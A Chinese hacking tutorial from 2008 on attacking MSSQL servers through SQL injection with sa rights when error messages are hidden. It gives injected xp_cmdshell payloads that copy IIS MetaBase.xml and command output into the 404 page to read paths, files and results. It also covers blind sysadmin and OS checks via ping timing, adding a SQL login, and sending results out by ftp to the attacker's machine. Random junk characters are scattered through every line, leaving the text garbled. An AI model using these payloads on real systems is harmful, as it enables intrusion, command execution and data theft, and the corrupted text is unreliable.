遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。' w- f5 K. w6 D* W; ]! e# e3 X
. ?# A+ I& T! j4 v* C 虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。! P1 ?( f. c/ [4 A$ f, V' Q
7 {2 \; m* a, f 这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。' H0 ?8 X" B7 A d' E( n3 o
1 U7 V% b; s" ]( Z9 W IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
+ _, j' s+ b9 a$ b7 f f1 _
& W* ~3 U+ o) {$ U8 [9 x9 T @ 得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
( e. {0 N1 ~2 N- w9 P
3 P: \. p4 |, l. I# B2 g- ]# ^ t ,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。* W3 u; }3 W: C. k4 k
/ q2 i& q9 Z) D& ~
执行命令得到回显
; a3 A: H. C" ~% b$ H1 Z0 Z
2 L, r/ V, R9 x) J' w3 ] 通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--9 [5 t; L) X( P8 |
8 k* ~5 l8 ^6 A. r) C. ~( T% J 得到文件也shi相同,把文件copy到404b.htm就行了
# ^2 w+ e7 |) O5 V5 _4 N
+ E4 y+ n; i) b# ?2 H# ~) t7 Y by 28ice, 2008/6/264 y* t3 o( p2 h4 B+ h% H' W
! s( ~' m6 ~" D$ }1 E- Y
摘自 28度的冰
0 b' `6 d/ @2 N) R
3 _7 J' P7 x3 a5 m: L. Q' } 盲注判断权限和操作系统版本
# p! n& r$ s) t+ C% W+ V) g8 Q4 Q, l
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
- {/ e ?+ p2 m3 G* k. \3 @/ o& P: ?
5 G* k9 T2 l x" l3 E 最简单的,可能以用这样的方法:& {& ^9 R; [0 J! ]) _
: q g! o1 I. M, I, ]# K% G- `
1=(select IS_SRVROLEMEMBER(’sysadmin’))* _$ T3 |( U4 ~% f# ?& F0 M
. L3 {! H% N# B; d8 P* \2 o 当然,有些情况下,这个方法并不奏效。
# _' x2 l% t* R& z+ V; [9 Y/ Y
" F2 C; b2 U( G! g9 p. B 既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
4 T( @8 Q. K8 n2 Z- K: P0 n
: E+ [& s7 Z; V' r( B4 Q 有个3办法可能以解决这个问题
8 Y& A/ Q8 C( Z* U6 v. D+ f0 J0 c2 b
a.把执行结果写到404b.htm,具体请看我的上一篇文章
" P8 X c+ f0 X" I
; Y& A: v C" f b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
! y8 M; d& Z) s, q# F. ?& |- `# h1 \7 q' [& Z9 H
c.如果1433端口可能以连接,那干脆新建个sql登录# w' s) |& q; t- t. |
& n. o; z/ R9 ~) V
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数 Q& p. }4 _ V6 [- L. o
& g' \* U9 A- m+ Y' R
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
% J6 ` u v! O! l. D% f0 z
: j/ b- C( F @& f. e 很简单- C$ }4 y* }. t! J
/ ?- d: b- C& X3 m: e, S
执行systeminfo; {' J: P6 u2 w/ T0 i
) {. a q! j% i5 q1 U+ ? 在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。 |